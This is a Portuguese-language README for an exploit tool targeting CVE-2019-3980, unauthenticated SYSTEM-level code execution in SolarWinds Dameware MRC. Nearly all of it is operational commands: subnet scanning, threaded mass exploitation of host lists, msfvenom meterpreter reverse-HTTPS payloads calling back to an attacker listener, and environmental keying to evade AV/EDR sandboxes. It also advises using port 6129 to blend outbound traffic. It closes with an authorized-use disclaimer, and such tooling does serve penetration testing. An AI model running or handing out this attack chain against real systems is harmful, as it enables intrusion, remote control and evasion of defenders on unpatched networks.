
Exploit em Python 3 para CVE-2019-3980. RCE não autenticado como SYSTEM via bypass de autenticação de smart card SolarWinds Dameware MRC.

RCE não autenticado via Bypass de Autenticação de Cartão Inteligente no SolarWinds Dameware MRC
CVE-2019-3980 | CVSS 9.8 Crítico | TCP/6129
Pesquisa original e POC: Tenable, Inc. (TRA-2019-43)
Ferramenta Python 3: David Boyd (@Fir3d0g)
O Dameware MRC expõe um serviço de controle remoto (DWRCS.exe) na porta TCP/6129. Durante o handshake de autenticação do cartão inteligente, o servidor aceita um arquivo controlado pelo atacante como instalador do driver do cartão inteligente (dwDrvInst.exe) e o executa como SYSTEM, sem exigir autenticação.
O DameFlare implementa o handshake completo do protocolo (negociação de versão → derivação de chave AES → troca de chaves Diffie-Hellman → assinatura RSA → upload do driver) para entregar uma payload arbitrária e alcançar execução remota de código não autenticada.
| Produto | Vulnerável | Corrigido |
|---|---|---|
| Dameware MRC 12.0.x | Todas as compilações | Hotfix 1 |
| Dameware MRC 12.1.x | Todas as compilações | Hotfix 3 |
git clone https://github.com/boydhacks/dameflare
cd dameflare
pip3 install -r requirements.txt
python3 dameflare.py -h
python3 dameflare.py -t 192.168.1.50 -e payload.exe
python3 dameflare.py -t 192.168.1.50 -e payload.exe -v
python3 dameflare.py -t 10.0.0.100 -e payload.exe -p 6130 -T 15
python3 dameflare.py -f vuln_hosts.txt -e payload.exe
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
python3 dameflare.py --scan -t 192.168.1.0/24
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt --scan-threads 50
python3 dameflare.py --scan -f port6129.txt -o vuln_hosts.txt
python3 dameflare.py --scan -t 192.168.1.0/24 -o vuln_hosts.txt
python3 dameflare.py -f vuln_hosts.txt -e payload.exe --threads 5
Remove o artefato dwDrvInst.exe do alvo após a exploração:
python3 dameflare.py -t 192.168.1.50 --cleanup
python3 dameflare.py -f vuln_hosts.txt --cleanup
Requer msfvenom no PATH. Envia um EXE auto-exclusivo que remove dwDrvInst.exe e a si mesmo após um curto atraso.
Alternativamente, se você tiver credenciais, pode usar algo como NXC:
nxc smb <target> -u <user> -p <pass> -x "del /f /q C:\Windows\Temp\dwDrvInst.exe"
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f raw -o payload.bin
msfvenom -p windows/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x86.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=443 EXITFUNC=thread -f exe -o payload_x64.exe
Envolva o shellcode bruto com chaveamento ambiental para evadir a análise de sandbox de AV/EDR. A payload só será descriptografada e executada em uma máquina onde as chaves correspondem. Um enorme agradecimento a Kevin Clark (@GuhnooPlusLinux) pelo seu trabalho incrível!
# Key on domain and hostname (use short names, not FQDN)
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
# Key on domain only
python3 ek47.py srdi-shellcode -p payload.bin -d <SHORT_DOMAIN> -o payload_wrapped.exe
# Static key only (useful for testing)
python3 ek47.py srdi-shellcode -p payload.bin -s 5 -o payload_wrapped.exe
# Alternative injection methods if srdi-shellcode is caught
python3 ek47.py dinvoke-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
python3 ek47.py noapi-shellcode -p payload.bin -d <SHORT_DOMAIN> -c <HOSTNAME> -o payload_wrapped.exe
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<ip> LPORT=6129 EXITFUNC=thread -f raw -o payload.bin
python3 ek47.py srdi-shellcode -p payload.bin -d CONTOSO -c WS01 -o payload_wrapped.exe
python3 dameflare.py -t <target> -e payload_wrapped.exe
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_https; set LHOST <ip>; set LPORT 443; set ExitOnSession false; set StagerVerifySSLCert false; set EXITFUNC thread; exploit -j"
Nota: O nome da payload deve corresponder exatamente entre o msfvenom e o handler:
- Sem estágio:
windows/x64/meterpreter_reverse_https(sublinhado)- Com estágio:
windows/x64/meterpreter/reverse_https(barra)
Dica: Em ambientes Dameware, a porta
6129costuma ser permitida para saída e se mistura com o tráfego legítimo do DWRCS. Se a porta443estiver bloqueada ou inspecionada por um proxy, tenteLPORT=6129, pois a rede de destino provavelmente foi projetada para permiti-la.
Esta ferramenta destina-se apenas ao uso em testes de penetração autorizados e operações de red team. O autor não assume responsabilidade por uso não autorizado ou ilegal.